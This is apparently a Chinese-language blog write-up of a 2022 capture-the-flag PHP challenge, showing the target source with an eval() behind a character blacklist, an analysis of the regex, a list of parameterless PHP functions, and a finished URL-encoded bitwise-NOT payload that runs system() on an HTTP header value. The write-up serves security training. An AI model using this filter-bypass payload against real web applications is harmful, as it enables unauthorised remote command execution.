[鹏城杯 2022]简单的php

[鹏城杯 2022]简单的php

源码

<?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);

    }

?> 

正则分析

preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)

没有过滤 ~

';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)

[^\s\(\)]+? 表示不匹配所有空白符和() 一次或多次

\((?R)?\) 表示循环匹配() 一次或0次

那么这题的解法就属于无参数的取反RCE,并且需要二维数组绕过

无参数一些函数

主要
1、getallheaders()
2、get_defined_vars()
3、session_id()

配套
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
————————————————
原文链接:https://blog.csdn.net/Manuffer/article/details/120738755

异或的话把祖传的Y4师傅的脚本跑一下,嗯...真香 然后用二维数组进行拼接必须有[!%FF进行分割]

system(end(getallheaders()));

=>

[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

命令执行成功,GETFLAG(屏蔽了cat)

posted @ 2023-03-20 15:38  張冰冰  阅读(713)  评论(0编辑  收藏  举报